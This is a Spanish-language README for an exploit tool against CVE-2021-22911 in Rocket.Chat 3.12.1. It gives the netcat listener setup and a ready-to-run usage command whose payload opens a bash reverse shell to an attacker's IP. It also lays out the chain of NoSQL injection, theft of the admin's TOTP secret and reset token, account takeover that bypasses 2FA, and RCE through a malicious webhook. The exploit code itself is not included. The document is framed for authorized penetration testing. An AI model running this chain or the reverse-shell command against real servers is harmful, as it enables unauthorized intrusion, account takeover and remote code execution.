CVE-2021-22911 — Rocket.Chat 3.12.1 RCE (Improvisado)

Descripción

Explota una vulnerabilidad de inyección NoSQL sin autenticación en Rocket.Chat 3.12.1 para filtrar el secreto TOTP del administrador y el token de restablecimiento de contraseña, tomar el control de la cuenta de administrador y lograr RCE a través de una integración maliciosa de webhook.

Versión afectada

Rocket.Chat <= 3.12.1

Requisitos

pip install -r requirements.txt

Configuración - Inicie un listener primero

Antes de ejecutar el exploit, inicie un listener de netcat en una terminal separada para capturar la shell inversa entrante:

nc -lvnp 4444

Mantenga esta terminal abierta. Una vez que el exploit se ejecute correctamente, su shell aparecerá aquí.

Uso

python3 pwn_rocketchat.py \
  -t 'http://TARGET:3000' \
  -u 'USERNAME' \
  -p 'PASSWORD' \
  -e '[email protected]' \
  -a 'adminusername' \
  -c '/bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

Argumentos

Cómo funciona

1. Se autentica como usuario de bajos privilegios a través del protocolo DDP
2. Filtra el secreto TOTP del administrador mediante inyección NoSQL $where
3. Activa el correo de restablecimiento de contraseña del administrador
4. Filtra el token de restablecimiento de contraseña del administrador mediante inyección NoSQL $where
5. Restablece la contraseña del administrador evitando la 2FA usando el secreto TOTP filtrado
6. Crea una integración maliciosa de webhook y desencadena RCE

Descargo de responsabilidad

Esta herramienta es solo para fines educativos y pruebas de penetración autorizadas. El autor no se hace responsable por cualquier uso indebido o daño causado por esta herramienta. Siempre obtenga la autorización escrita adecuada antes de realizar pruebas.

Referencias

• https://nvd.nist.gov/vuln/detail/CVE-2021-22911